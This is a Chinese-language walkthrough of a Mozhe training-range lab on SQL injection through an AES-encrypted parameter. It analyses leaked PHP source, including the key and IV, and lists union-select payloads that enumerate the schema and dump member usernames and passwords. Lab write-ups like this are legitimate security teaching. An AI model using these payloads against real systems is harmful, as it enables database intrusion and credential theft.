墨者靶场SQL注入(参数加密AES)
信息收集
打开页面发现只有登陆框以及关于平台维护的界面
通过网站后缀可以知道为开发语言为php
通过响应头判断是以及网站大小判断是linux系统,猜测架构应该是Nginx+PHP+MYSQL的组合,也可以用端口扫描进行判断是否为mysql数据库
使用御剑进行目录扫描
访问http://219.153.49.228:44288/news/ 存在源码泄露
分析源码
//解密过程
function decode($data){
$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
//mcrypt_module_open()函数打开指定算法和模式对应的模块
mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
//mcrypt_generic_init()初始化加密所需的缓冲区 简单理解就是加盐
$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));
//mdecrypt_generic() 解密数据 base64_decode() 解码
//先执行2次base64解密,在执行一次AES解密
mcrypt_generic_deinit($td);
//本函数终止由加密描述符(td)指定的加密模块, 它会清理缓冲区,但是并不关闭模块。
mcrypt_module_close($td);
//关闭加密模块
if(substr(trim($data),-6)!=='_mozhe'){ //去空截取后6位字符如果不等于_mozhe 就会重定向到首页
echo '<script>window.location.href="/index.php";</script>';
}else{
return substr(trim($data),0,strlen(trim($data))-6);
//返回去掉空白符的字符长度减去6
}
}
$id=decode($_GET['id']);
//解码获取GET变量的传参
$sql="select id,title,content,time from notice where id=$id";
//定义sql语句 把参数带入sql语句
$info=$link->query($sql);
//执行sql语句
$arr=$info->fetch_assoc();
//返回关联数组对象
漏洞利用
通过源码的分析我们知道会先进行base64解码
$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));
AES解密网站会自带一次base64解密
AES加密模式:CBC,数据块128位 ,密码ydhaqPQnexoaDuW3 偏移2018201920202021 base64解码
通过源码分析构造逆向pyloads
if(substr(trim($data),-6)!=='_mozhe'){
echo '<script>window.location.href="/index.php";</script>';
}else{
return substr(trim($data),0,strlen(trim($data))-6);
}
判断注入点 1 and 1=1_mozhe
显示正常 1 and 1=2_mozhe
显示错误
猜字段
1 order by 10_mozhe 、1 order by 5_mozhe
最后测试到是4个字段 使用二分法进行判断
回显位
1 and 1=2 union select 1,2,3,4_mozhe
爆当前用户、数据库
1 and 1=2 union select 1,database(),user(),4_mozhe
爆出所有数据库
1 and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata_mozhe
爆当前数据库所有表
1 and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()_mozhe
爆所有字段
1 and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema= database() and table_name='StormGroup_member'_mozhe
查询用户
1 and 1=2 union select 1,group_concat(name),3,4 from StormGroup_member_mozhe
查询用户名、密码(name,password)
1. 1 and 1=2 union select 1,group_concat(name),group_concat(password),4 from mozhe_Discuz_StormGroup.StormGroup_member_mozhe
2. 1 and 1=2 union select 1,group_concat(name,';',password),3,4 from mozhe_Discuz_StormGroup.StormGroup_member_mozhe
MD5解密
登陆后台拿到key
资源分享
MD5解密在线网站:https://www.cmd5.com/
AES加密解密:http://tool.chacuo.net/cryptaes
base64加密解密:https://base64.us/
PHP中文手册:https://www.php.cn/manual/view/1720.html
墨者靶场地址:https://www.mozhe.cn/bug/detail/SjRRVFpOQWlLWDBJd3hzNGY5cFBiQT09bW96aGUmozhe